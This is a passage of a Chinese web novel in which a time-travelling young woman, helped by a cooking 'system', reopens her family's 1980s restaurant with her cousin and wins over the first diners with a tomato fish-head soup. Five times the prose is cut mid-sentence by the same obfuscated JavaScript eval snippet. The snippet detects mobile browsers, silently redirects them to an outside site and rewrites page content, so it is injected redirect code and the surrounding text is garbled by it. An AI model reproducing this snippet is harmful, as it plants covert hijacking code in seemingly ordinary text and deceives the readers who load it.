要不是知道她家庭环境，看起来还真像好几天没吃饭一样。 “慢点吃。”常嘉欣赶紧推了推米汤，“喝点汤，别噎着。” “呜呜，呜呜呜呜！” 没事，太好吃了！ 虽然没说清楚，但是能听出来。 只能说有成就感，又有点无奈，她的第一个食客太给面子了，常嘉欣只好先起身清理厨房。 原身虽然没做过饭，但家务活做得不少，等清理好，再把堂姐带来的食物规整好，另一边的“吃播秀”也差不多了。 “嘿嘿，我是来享福了，建业怕不是嫉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324909|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妒死我。”满足地摸摸肚子，常薇薇这才小口喝上米汤，表情那叫一个意犹未尽。 来之前，她原本还肩负着带妹妹学会做饭的任务，这下好了，不用教，还能吃上美味。 不得不承认一件事，他们常家明显做饭天赋都集中在二叔家了，他们大常家做的饭，能吃就行，以前她每年最期待就是来二叔家吃饭呢。 “小欣，你这手艺比叔叔婶婶都好！我......对不起，我。” 已经举起了大拇指，但却反应过来，这个话题其实不太......好 常嘉欣接话道：“没事，我也觉得我青出于蓝胜于蓝。对了，姐，我准备重新开‘家常菜’，你要不要来帮我？” 据她所知，目前常薇薇初中毕业后没有考上高中，就一直在家帮忙做些家务活，偶尔还去卖山货，并没有实际工作。 “啊？你要开店？”常薇薇回味着刚刚的炒饭，“这手艺肯定可以开店，不过我能帮什么？我就一声力气，也没干过......” 说着就有些拘谨，低头掰扯起了手指。 曾经家里帮安排过纺织厂的临时工，她现在还记得被人指点说，手粗又一身蛮力应该去做农活...... 可在村里，一身蛮力那是肯定！ 她也曾羡慕过工厂的女工，但这村里和这城市终归不一样。 “洗碗、上菜还有搞卫生之类，这些活就是累，不难的。就是刚开始工资不多，包吃包住，30块钱一个月？不过我也没经营过饭馆，到时候根据活计先过一个月，我们再定？”常嘉欣估摸着这个时间段国营饭店的服务员一个月工资估计有50元，她要是店开得不顺利，第一月活估计都没多少，所以这30价格不算底，“而且丑话说在前面，工作时间我可是严格要求的，工作要细致，插科打诨可不行，也不会因为你是姐就不说什么。” 30元！好高！ 常薇薇瞋目结舌，她大哥因为跟着父亲学了木工，在镇上家具厂上工，一个月工资也就35！还没有吃住！ 见常薇薇还是没说话，常嘉欣撇撇嘴，努力眯起眼睛，想着她穿越前那一碗网红奶茶没喝完的悲伤故事，试图逼出一些眼泪：“姐，是不是工资太低了，或者要求太过分了？不愿意给我干......” “没有没有！这工资很高了！要求也不过分！”常薇薇连连摆手，“我只是担心我做不好，你知道的，我高中都没考上。” “那就这样决定了，走，我们先去集市逛逛，了解市场，准备开业。”常嘉欣其实发现自己表演天赋太差，也不示弱了，直接拍板，然后带上钥匙，就拉着堂姐出门。 6. 第6章 一路上，常薇薇其实有点没缓过神，每年和二叔家接触基本都在过年期间，她记忆中的堂妹温声细语，文静内敛，却没想到二叔家出事，她竟然有这个魄力在这大城市中自己开店。 常嘉欣可顾不得那么多了。 常薇薇的出现完全属于“天赐良人”，有她在就不用担心到时候开店忙不过来。 若是生意差......不对，有系统，有她做菜的天赋......好吧，有她刻苦学习的精神，这店要是真开不下去，她不如自己做个豆腐撞死再投胎！ * 午后的菜市场，摊位已经零零散散，人也稀疏，不少竹筐甚至已经空了，留下的食材也都是那种被挑剩的，品质不佳，倒是副食店那边影响不大，可惜在常嘉欣还没规划好饭馆菜单前，也不需要买什么。 当然，这一趟常嘉欣还是有不少收获，她算是详细了解如今的物价。 粮食方面，虽然大部分地区都还在用粮票，但越州这边去年就出了地区的政策，买粮取消了粮票。 至于价格上，普通梗米2毛一斤，常嘉欣看中了更饱满的东北米，需要3毛5一斤，面粉和大米价格接近，糯米和东北米一个价格，还有当地热门食物——年糕，价格就比较贵，要4毛一斤。 如今清明已过，除了萝卜土豆价格这种1毛一斤的，还有马兰头、韭菜这些应季蔬菜，价格不贵，普遍控制在2、3毛左右，春笋最贵，摊主说他早市都卖5毛一斤，这会快收摊才收3毛。 肉类价格普通猪肉控制在1块5，也已经不用票了，但每天供应限量，整鸡的价格差不多3元，倒是比猪肉卖的好，这季节的鲫鱼最是鲜活，价格要1块3一斤，除了不要票，这和1块4一斤的鸡蛋差不多了。 另一个重点还是豆腐摊，可惜是午后，豆腐摊这边只剩下一些品质一般的老豆腐，价格2毛一斤，至于臭豆腐，据说这市场就没人卖。 这是坏消息，也是个好消息。 没有臭豆腐，意味着这儿生活的人不一定会接受这食物。 没人卖，则意味着臭豆腐将成为“家常菜”的独家招牌，市场大得很。 只是，市场要做大，也要先有原材料。 常嘉欣有些无奈，决定明早早市再看看这儿其他摊的豆腐品质，同时问问他们臭豆腐的消息，不行的话，只能自力更生，自己培养臭豆腐的发酵菌群做臭豆腐。 “触发随机任务：南江曾有一家品质极佳的臭豆腐坊因特殊原因闭店，请找到这家臭豆腐坊，并助其传承人重整旗鼓，任务奖励未知。” “哈？”常嘉欣愣住了，这特么不是美食系统吗？ 怎么还负责做人生导师？ 但话说回来，如果有这豆腐坊，倒是解决一大难题，毕竟一个开饭馆，她真长期还要做臭豆腐，怕是能把人累死。 “怎么了？”常薇薇关心道，“是不是担心食材？估计时间不对，我们那也都是早市的食材最新鲜最好的。” “没什么，我们去隔壁百货大楼吧，赔你衣服！”常嘉欣摇摇头，带着姐向着市场另一头地方走去。 常薇薇连连摆手：“不用不用，我衣服缝下就好。” 常嘉欣可不容拒绝：“我也要买点日用品。而且你可以理解为员工福利，日常店里姐你还要招待客人呢。” “员工福利？” “对啊，工厂工人不是过年都有节礼。”现代用词要注意一下，常嘉欣暗自提醒自己，拉上她胳膊，加快了步伐，“走走走，等下买好回家还要去店里看看，好计划近期做什么。” 做实验要做不少准备工作，这开店创业自然也是。 不说别的，就打扫卫生这件事，以她的标准，估计就要折腾不少时间。 果然，等她们两个把店里里外外都打扫完的时候，已经是2天后了。 毋庸置疑，也意味着可以开业了。 叉着腰，看着两人清理出来的成果，常嘉欣感觉到满满的骄傲。 从堂食桌椅到收银台，再到后厨，她们两个人统统都打扫清洁了两遍，一些厨房顽固污渍都已经被清理干净，这和原身记忆里刚开那会的新店也没两样了。 “好了！开门迎客！” 说着，常嘉欣把卷铁门拉开，她的“家常菜”准备开业了。 这两天里，除了打扫，也趁机跑了好几个菜市场，如今私营环境蓬勃向上的，早市很多食材绿色无污染，她已经看中了不少供应商，不用多想，他们是未来的。 毕竟如今店里小黑板上的菜单上只有三样，蛋炒饭、腊肉炒饭以及番茄鱼头豆腐汤。 前两样凭借这臭豆腐炒饭的功底，她已经能做出好吃的味道，而最后这道汤，是她学成后在现实第一份完美达标的SSS级美味，她相信一定能成为“家常菜”的招牌。 毕竟除了不会发出耀眼的金色光芒，这鱼汤和中华小当家里的菜也没差别！ 说起来，这能达到系统标准的菜品，优质的原料不可或缺。 因为还没入夏，买到的番茄属于最早一批成熟，比较贵，不过品质也不错，透红酸度也正好，胖头鱼就不用说，鱼眼清澈，鱼鳃鲜红，这是独属于江南的鲜美，要不是担心刚开始吃不完，常嘉欣都想承包那鱼摊。 不过，最重要的是她找到相当不错的豆腐摊，那水灵灵的嫩豆腐，就算只简单拌点小葱酱油，都是一盘绝佳凉菜。 只是珠玉在前，常嘉欣就更想尝一尝SSS级别的臭豆腐炒饭，可惜这边市面上没什么人卖臭豆腐，至于臭豆腐坊，这一带都没什么人听过。 好在她有一点线索，等这周末在去城市另一边探探，如果还不行，只能试着在家腌着豆腐，相信以她的能力还是能把臭豆腐做出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324910|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “呦，开门了？” 中年男人大约听到了卷门的动静，从隔壁商铺探头过来，男人颧骨削薄，一副老花眼镜下面是标志性的鹰钩鼻，还盘着手里的檀木手串，语调一上扬，就看起来有点不怀好意。 至少常薇薇是这么感觉，她下意识挡在了最前面：“有什么事情吗？” “是的，张叔，开门了。”常嘉欣看常薇薇如临大敌的模样，轻轻拍了拍她肩膀，从她身后上前笑着招呼道，“要来一碗炒饭吗？” 来人是隔壁钟表店的老板张海荃，单从外貌看其实给人一种刻薄感，可记忆里他是店里的老顾客，为人最和气不过，也偶尔会带朋友过来点菜吃。 “小欣啊，你这......是准备接手你爸妈的餐馆？”张海荃有点犹豫，不过纠结半天，最后还是劝道，“房东和我说近期有人想盘这店，特意让我带话，说是价格不会亏待。” 说完，他还小心靠过来，瞄了一眼隔壁。 “隔壁面馆的老板似乎也想租，说是要打通两边，到时候两边一谈这价格空间就打大，若是可以不如转出去更好。” 这边临界好多商铺都是同一个房东，租户们基本都是长租五年起的，张海荃担心小姑娘被旁边那面馆忽悠，特意去找了房东帮忙盘来着。 “谢谢叔，我这暂时不准备盘出去。”常嘉欣摇了摇头，或许对原身来说转出去其实最合适，不过如今不同了，“叔，要不尝尝我手艺？不差的。” 张海荃看了看时间，也不带犹豫：“行吧，叔我就尝尝。” 他转身利落得给自家店锁上，走了进来。 店里模样变化不大，除了小黑板上的字，张海荃一眼就看到了价格。 蛋炒饭 0.5元/份 腊肉炒饭 0.6元/份 番茄鱼头豆腐汤 5元/份 “这.....汤价格是不是写错了？”张海荃问道。 饭馆以前的炒饭也是5毛一份，变化不大，常胜的炒饭量大鸡蛋也放得多，可这汤......他记得之前常胜做得醋溜鱼块都只要2元，他点过，那还是一条完整的花鲢鱼，端出来还是用铁盆装呢。 “没呢。”常嘉欣想了想，“张叔你可以等一等，我送你半份尝尝？这汤现做要20分钟哈。” 刚好留半分她和常薇薇当午餐！ “不用！我点一份尝尝。”张海荃咬咬牙，侄女第一天开店，总要支持一下，“一份蛋炒饭，一份腊肉炒饭，再加上这汤，我刚好有朋友在附近，我去叫来吃饭！” 5元一份的汤，就当点了四个菜！ 他一个人吃还是很肉疼的，不如顺便请好友吃吧。 “姐，等下他们到了和我说下。” 张海荃走得很快，常嘉欣只能招呼后回到厨房，这炒饭可是很快的，还是等他们到了再炒。 7. 第7章 今天第一天营业，店这儿水池就养了三条胖头鱼，这是当地的称呼，其实就是花鲢鱼。 常嘉欣戴上手套先从水池里捞上一条足够肥美的，去鳞剖腹去腮，利落的处理完鱼头，劈开鱼尾后，先冲洗血水，再开始用黄酒腌制去腥，这里有一个关键的技巧，她手附上少许白胡椒配上按摩，提香的同时，能让鱼头煎制时尽可能保证鱼皮完整。 鱼头腌制的时候，她顺便把剩下的鱼身处理一下，通过虚拟厨房训练，她杀鱼没个上千也有上百，如今处理鱼自然得心应手，她是准备等下用鱼身来刮鱼丸。 鱼丸的手法还是上辈子看美食视频记的，要是能做好，以后就不怕鱼尾浪费了。 腌制快结束前，常嘉欣开始处理番茄，沸水去皮切成大块，再备好豆腐，竖条长葱打成结，姜片也准备少许，等一切就绪，开始热锅下油，均匀划锅后，才放下鱼头。 控制好火候，保留鱼皮完整的同时，还需要将鱼头煎至双面金黄，热油与鱼头交融的时间里，会充分释放鱼骨胶质，等这混合的蛋白质遇高温水就能乳化形成乳白汤底，也是能让鱼头汤浓郁鲜的关键。 煎鱼头要掐着最佳时间，滚烫的热水入锅也要选好时间，确定双方碰撞完全，常嘉欣才与葱结姜片和番茄块一起大火烧开。接着，便是去汤顶的浮沫再转入砂锅小火慢炖，这样的文武火交替能逼出更多的胶质，同时又能保证鱼头肉质的口感。 其实这菜做法还是很家常，但想把它做好，重在食材和火候，前者决定鲜味上限，后者决定腥味下限。 常嘉欣在模拟学习的时候，还自个测试过多组A/B对照，煎鱼头其实就是为了让鱼断生，所以煎得火候得当，葱蒜姜之类的调味料甚至可以不用，可以全靠油与盐都能掩盖鱼本身最后的腥味，不过这也有些缺憾，鱼皮便无法保证完整，同理，炖煮是为了更深层次的去腥，若是煮很久，同样能去腥，但会影响鱼肉口感。 不过慢炖之前，常嘉欣得到两客人都吃葱的信息，所以下葱结姜片很果断。 趁着砂锅在炖，顺便也把炒饭做起来，再掐着鱼头汤出锅的前五分钟，放入嫩滑的豆腐，捞出葱结，做最后的调味。 等把做好的炒饭和砂锅汤都放在窗口的木托盘上，常嘉欣很有仪式感地拉响了小铃铛：“出餐拉！” 张海荃刚坐下来不久，就能看到小姑娘在厨房的忙碌身影，当听到如此鲜活的声音，忍不出和旁边的朋友卫镇国嘀咕：“要是一般你也要说好吃，小姑娘撑起来不容易，好不容易重整旗鼓，你可不能把你老毛病摆上来。” 卫镇国想着是等下不可以，但现在可以提前吐槽啊：“也是不理解，鱼头豆腐汤好好的，怎么要加个番茄，这鱼鲜味和酸味冲撞在一起，多奇怪啊，要是做酸汤，番茄也不够味啊，还有......” 这价格5元也太坑人了吧。 不过最后一句他还是闭嘴了，小饭馆没那么大，他们的菜上了。 在砂锅中，白汽弥漫，似有清香掠过，倒是像带着春风吹拂过柳枝头，就让人惦念，雾水散去少许，就能见鱼头若隐若现，还有青葱与红意在乳白色汤间呼应，卫镇国点了点头，单看色与味，小姑娘竟然颇有几分功底。 张海荃将砂锅旁边两个白瓷碗都分上些豆腐汤，递给给分友人后，就迫不及待勺上一口，汤勺一靠近鼻翼，那鲜香更加霸道，再入口，烫得舌尖都发颤，但那一口滚烫的鲜，冲向眉头，让他原本有些忧虑的眉头，一下就掉了下来！ “好喝！” 而一旁的卫镇国，第一筷早就精准找到鱼腮旁的月牙肉，这里是鱼头中肉质极佳的地方，口感上的细嫩又鲜活，但若是处理不好，会有腥味，这一吃下，他可以确定这鱼汤一定风味极佳。 卫镇国便迫不及待用汤勺，让豆腐带着汤入口，嘴还未来得及品味这豆腐，它便化开与汤直冲喉咙，好在其鲜美已经在口中绽放，不同于老豆腐利用气孔吸满汤汁的厚重感，这嫩豆腐独有的润滑口感与鱼汤在唇齿交融，看似润物细无声，实则带着豆香，鱼鲜还有能捕捉到的鲜辣，对味觉各种攻城略地。 不对，是鲜甜？ 再喝一口，好像是酸甜？ 不对，再喝一口，好像是白胡椒特有的灼意？ 再品品，好像是酸甜中夹杂着姜片、白胡椒的辣？ 一碗接着一碗，以卫镇国的味觉分辨能力，终于发现番茄的妙处。 酸甜的番茄竟然能巧妙地将姜片、白胡椒带来的辛辣激发出鱼汤更多的鲜味，缓冲鱼、豆腐、番茄和汤之间的界限，这调味把控能力，多一点会让味道层次过于分明汤鲜割裂，少一些那都能失去灵魂！ 虽然分辨出来了，不过他发现......似乎...... “你怎么把汤都喝完了！”张海荃是想着他吃炒饭后，再加上那极致美味的汤，可等他再抬头，砂锅里的汤都快见底了！他自己才勺过一碗！ 卫镇国看着砂锅中已经几乎都裸露出来的鱼头豆腐，以及旁边一口没动的炒饭，有点不好意思：“这......见笑了见笑了，汤太好喝了。” 他自诩尝过不少美食，确实是第一次没控制自己。 张海荃是又有点气恼又有点骄傲，情绪复杂：“我觉得你可以拿出你的舌头评价一下，好让大侄女看看有没有要改进的地方。” 卫镇国讨好地笑着：“就鱼汤来说，完美。” 说完，又用汤勺挖进了最后一点碗底鱼汤，顺便吃上一口腊肉炒饭。 卫镇国对炒饭还是很期待的，不过很快让他失望：“这个蛋炒饭的火候有点问题，鸡蛋老了，炒饭就显得过软，口感层次有点差。” 当然了，总体来说炒饭水平已经属于极佳水平，和他吃过的大厨没差，只是卫镇国嘴巴比较刁钻，只是有珠玉在前，这对比比较明显。 “那我这腊肉炒极好吃。”张海荃挤眉弄眼，“我觉得青出于蓝胜于蓝。” 炒饭的味道，其实和她父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324911|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做得差不多，都好吃，但不至于念念不忘，但汤绝对属于惊艳的存在。 “那倒是，这汤若不是我们亲眼看着，我会以为是从业三十多年的御厨做的！”卫镇国也注意到常薇薇丰富的表情变化，赶紧找补。 常薇薇一直在不远处看着两人的反应，听到最后的话还是骄傲地挺着胸膛，不过看着其他空荡荡的餐座还是忍不住往外头望去，开店大半小时了，店里还是没有新客人。 也是缘分，她的期盼很快得到了回应。 两个穿着蓝色工装的年轻人结伴而来，停在门口，其中皮肤因为同伴对比格外黑的男人望着上头的招牌，又看到常薇薇，还有些困惑，问向身边带着眼镜的同伴：“开了，但好像换人了？还吃吗？” 他同伴推了推眼镜，打量完整个用餐环境，能看出店里的清爽干净，从那个出餐窗口望过去还能看到透亮整洁的厨房，似乎比之前更加干净整洁，便在进门口的位置坐了下来，对着薇薇说道：“一碗蛋炒饭。” “行吧，我也一碗蛋炒饭，额......”看完黑板后，黑皮肤的工人一下就瞪大眼睛，“我去，5元的汤！抢钱啊！” “没有！”常薇薇想呵斥，可想到自己的工作，憋着涨红的脸，耐心解释，“没有，汤很好喝，两碗蛋炒饭，吃葱吗？” “吃。” “不吃，再加一碗鱼头汤。”眼镜男轻轻撇了一眼身边的伙伴。 常薇薇深呼一口气：“那鱼头汤要放葱、姜吗？还有慢炖需要20分钟，这边可以接受吗？” “可以放，好的。”推了推眼镜，他还替同伴道歉，“刚刚对不起，我同事没有恶意。” “没事。”常薇薇再次坚定道，“汤很好喝，不会让你们失望的。” 也不等他们说什么，转身去出餐口。 厨房里常嘉欣还在刮鱼茸做鱼丸，听到新单子中有鱼头汤，忍不住挑眉，鱼头汤的价格是她深思熟虑后定下来的，一方面是为了区别于其他菜的手艺，另一方面其实也有想拉高均价的小心思。 新围小区这一片其实经济发展很不错，路口那东北菜的招牌铁锅炖大鹅定价就是4.5元，听说就卖得挺好，所以她这汤定价是高，但应该还属于能承受的范围。 从窗口望了一眼。 店里就两对客人，门口应该就是下新单的。 看工装知道是那个国产汽车零件制造公司的，坐姿板正的男士黑眼镜衬着冷白皮，他旁边的黑皮只能看到轮廓分明的侧脸，虽然没看清正脸，但常嘉欣知道这对黑白配，记忆里这两人算是店里的常客，白皮肤的似乎有点强迫症，黑皮肤呢是大胃王。 时间已经过了12点，常嘉欣索性直接炖上两砂锅鱼头汤，还有一锅自然是她和薇薇姐的，既然客人不多，她就她们先吃午饭。 不过想法很好，实际上在她炖鱼汤的时候，店里三三两两来了不少人，大多都点了炒饭，可其中有一个客人也点上了鱼头汤，把鱼头耗了个光。 8. 第8章 等鱼汤上的时候，常嘉欣发现外面六张桌子已经坐满了人，有些面孔好似陌生，但也有熟悉的，心里踏实不少，一个月时间闭店其实影响不小，但常父经营出来的口碑足够，才能积累这些食客。 想到此，常嘉欣帮忙送上鱼汤的时候心里那一丢丢小不甘也就散去。 “鱼头汤刚好，砂锅边很烫，用汤勺的时候小心哈。”点鱼汤的是一位精瘦的中年男人，常嘉欣有些诧异，如今能想开在外面吃饭的轻年偏多，年纪大的客人其实几乎没有，像张叔这般年纪若不是因为自己开店，估计也很少出来吃。 不过常嘉欣没多想，叮嘱完就回厨房处理鱼身，自然也就错过了两个食客的反应。 黑白配两个年轻人自然喝得不亦乐乎，可那位中年男人，喝上一口后，却是边哭边喝，即使哭声是努力压抑着，在一众食客中还是很显眼。 常薇薇慌得不行，上前问也问不出什么，又不知道怎么处理，只能去厨房求助。 不过，等常嘉欣洗完手出来，发现桌上的砂锅汤已经没了，但大半碗炒饭和鱼头都在，大爷把钱放在座位上，人却走了。 “这......”常嘉欣也有点摸不着头脑。 “没事没事，说是想家人了，就走了。”门口的黑皮工人陆启铮嘴里吮吸着鱼骨头，看到她们，帮忙解释完，还不忘夸奖，“大厨！这个鱼汤好好喝！绝了！晚上还有吗？” 常嘉欣厚着脸皮应下大厨这个称谓，摇头道：“晚上只有炒饭，今天重新开张第一天没准备多少鱼，明天肯定有哈。” 她就没想过三个鱼头都能卖出！ “好吧。炒饭也很好吃！”陆启铮带着遗憾。 “谢谢。” 陆启铮扫光盘底，这才恋恋不舍回到厂里的办公室。 只是中午的汤实在让他回味无穷，在工作时，突然灵光一闪，对旁边的林徐笙嘀咕：“我想起来了，她好像是原来厨师的女儿，没想到手艺更好！我们明天再去吗？我感觉我可以每天都喝这汤！” 林徐笙都还没响应，倒是让旁边的同事调侃：“什么手艺？你不是刚出去前还念叨着要攒钱娶媳妇么？怎么，不嫌林哥嘴叼了？” “嘿嘿，这不是发现嘴也很重要么，你不知道，那家常菜又开了，炒好吃，还有鱼头汤！除了贵！它就没缺点！我感觉我能喝一年都不带厌的。” “家常菜？还能开了？是盘出去了么？” “没啊，就是厨师换成小姑娘了，就是之前那店老板的女儿，简直不敢相信大厨年纪那么小。” “嗯？我听说是那店老板和老板娘都出事了，所以才停店的，没想到小姑娘自己站起来了。” “啊！？出事了？” 陆启铮这才从同事口中知道了那家店小姑娘的遭遇，忍不住同情道：“那我们多去支持支持，她做菜很好吃呢。” “顺序反了。”旁边的林徐笙忍不住开口，“是菜很好吃，所以才去支持。” “对对对！” 这边讨论完没多久，家常菜馆也送走中午最后一位客人。 几乎是同一时间，常嘉欣收到系统任务结算奖励。 “系统任务：‘家常菜’重新开张，用时3天，本次出餐SSS鱼头汤*3，A蛋炒饭菜品*16，S腊肉炒饭*5，综合评价A，勉强保住‘家常菜’的招牌，目前店内厨艺、食材、调度等都有极大进步空间，请宿主再接再厉。” “本次系统奖励菜谱酱料调味品大全——豆瓣酱、甜面酱、瓜豆酱、豆豉辣酱、虾酱、槽辣椒......” 看后密密麻麻的酱料名字，几乎涵盖天南地北的酱料，看起来奖励很不错。 但怎么说呢，常嘉欣感觉有点烦躁。 那么多酱料要自己动手，别的不说，她记得豆瓣酱发酵都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324912|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得2个月，她做要到何年何月能吃到那么多酱料啊，就不能直接给成品吗？！ 常嘉欣默默回厨房，开始处理用间隙时间出来的鱼泥，三条鱼尾去骨刮茸，在搅打出来莫约只留下一半，分次加入葱姜水，加点蛋清、白胡椒和少许淀粉，放大碗中进行搅拌，虽然是用手打，比不上后世用破壁机那般细腻，但靠着蛋清和面粉还是能勉强打成滑泥状态。 不知道是不是有了做炒饭和鱼汤的手艺打底，如今她在这种调味阶段不需要像做实验那么般严谨的比例，或许知道这些主要是调和腥味并提升滑嫩感，全凭感觉就能估摸加个大概?，等单向搅拌到这些调料都被鱼泥吸收，她开始用虎口挤出圆形的鱼丸。 用沾着水的勺子舀上放入冷开水，常嘉欣看着一颗颗白胖白胖的鱼丸浮起，心情也慢慢冷静下来，告诉自己，不要急，她才刚刚开始学习厨艺。 现在有那么多酱料配方可以学习，这肯定是好事，她甚至卖这些酱料都能产生一大笔收益，只是这和未来发展家常菜可能会有冲突。 不管怎么说，想要保证菜品的高品质，除了食材本身，酱料这种烹饪必需品肯定是点睛之笔，有时间她还是要准备起来，为未来丰富菜单作准备。 至于利用酱料本身致富，只能说要再看，若是未来店面扩张时有需要再说。 想明白，常嘉欣感觉再次充满干劲，把所有鱼丸做好，捞出一部分开始用小火煮上鱼丸，同时起手炒上两碗蛋炒饭。 蛋炒饭品质都比不少腊肉炒饭，应该和炒蛋的火候有关，毕竟它和豆腐不同，可能几秒时间的大火颠勺都影响出锅的品质，以后还是要多练练。 等炒完饭，锅里的鱼丸汤也煮开，再加上点猪油和葱花，清汤鱼丸就出锅了。 把炒饭和鱼丸端出去的时候，薇薇姐还在里外清理着店面，常嘉欣催着她开饭，两人这才在快1点吃上了午饭。 9. 第9章 午后休息没多久，两人在傍晚4点的时候开了门。 中午26元的营业额只是昙花一现，晚上的客人非常少，更准确地说晚上只有两个客人，还都是打包回去的炒饭，她们洗碗的活都省了。 为此，她们7点就拉上店铁门，带着剩下的食材两人从厨房后面回家，这一路上常薇薇异常沉默。 常嘉欣对于第一天营业结果其实还能接受，毕竟食材成本和薇薇姐一个月的工资都有了呢，这还不算系统结算的奖励。 今天下午趁着休息时间她模拟做了不少酱料，而除去酱料配方这些收获，最大的其实还是调味能，酸甜咸辣鲜，味蕾对于这些味道的敏度训练出来后，她未来做任何菜，不说其他，就味道把控会上绝对不会太差。 这边走，常嘉欣也就思考规划起未来。 她前世爱吃，但从未想过做厨师，如今算是走上这一条路，那还是要从头开始好好学习。 所以就算有系统带来学习的机会，能制作出两道拿手菜，她自己还是需要把基本功练起来。 正所谓物无不堪喫，惟在火候，善均五味，现在她靠制酱已经有打底调味能力，接下来就是锻炼火候，刀工，有了这三种打底“心法”，到时候只要食材新鲜，就算后面没有系统，不说把“家常菜”发扬光大，但招牌至少能守住。 还有就是经营问题，而今天营业额里一半是鱼头带来的，不说张叔支持，能卖出去两份就能证明这周边客群价值，还有重新开业后中午就来的炒饭客人，都说明“家常菜”地理位置佳，口碑好，定位也很准，夫妻两打得底子很好，让她再后续经营上省去了很大部分工作。 开餐饮店，她相信只要菜品味道好，店里卫生干净，服务管理得当，总会有未来的。 这或许也是八十年代开餐饮店的好处，不需要花里胡哨的营销，也不需要什么“成本把控”，只要用心做味道，店就能赚钱。 只是晚上情况与如今这世道的生活习惯有关，经济是在发展，但牛马们还不需要上班到凌晨，几乎都在4、5点下班，这晚上自然更习惯回家吃。 记忆里，常父他们晚上客人也不算多，所以以后如果傍晚营业额要增加，要么需要有更多的招牌菜品能打出名堂，要么就要等这里附近夜晚营业店面多起来。 常嘉欣大概捋清楚了未来，抱着东西走起来脚步都很轻快，与旁边的常微微形成了鲜明对比。 对于第一份工作的常薇薇对今天的结果并没那么容易接受，原先明亮的眼睛都没了光彩，只要想到自己有些手忙脚乱的经历，还有面对突发客人束手无策的慌张，自然情绪就不高。 看到她那怂拉着肩膀，常嘉欣下意识想到用美食安抚，再次有些可惜没有留下一个鱼头，这才想到中午剩下来的鱼丸，口感上其实还可以，Q弹合适，不过调味把控略淡薄，晚上就做油炸，再用番茄现熬成酱，蘸上一点，肯定极好吃。 店就在小区边上，回家自然也快，一到家，常嘉欣就兴致勃勃去厨房：“我去做晚饭，姐你休息一下。” “我来帮.....” “不用，很快的。”常嘉欣挥挥手，直接把厨房门给关上。 番茄划十字，烫皮，切块，黏泥后开始放入锅中用冰糖煮开，搅拌地同时加入些许醋调动酸度，再开始用小火熬，简易版的番茄酱就做好了。 别看简单，但深藏功与名。 至于炸鱼丸，虽然现在常嘉欣对火候没那么大把握，不过炸至金黄，估摸着感觉到她就出锅。 以前她是不理解这个玄妙的感觉，但在各种火候感受温度与食物的交融之后，她抓住了这个“感觉”。 说白了，其实与食物的色泽，香味，油的温度感觉息息相关。 常嘉欣把炸鱼丸放在碗里，边上倒入蕃茄酱。 接下来，就炒个....... “宿主自制S级炸鱼丸，完成隐藏任务，有效利用开业厨余食材并首次自制完成优质菜品，奖励菜谱丸子大全——萝卜丸、豆腐丸、鱼丸、虾丸、肉丸、牛肉丸......” 哇哦！ 常嘉欣感觉成为大厨的日子越来越近了！ 不过，未来是未来，此时还是先做炒饭抚慰她们的肚子更重要。 小木桌上，满满的两碗蛋炒饭，冒着热气，中间则是弥漫着油炸美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324913|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食特有的香气，最旁边还有艳红的番茄酱。 最简单不过的晚饭，也是她们幸苦一天的完美句号。 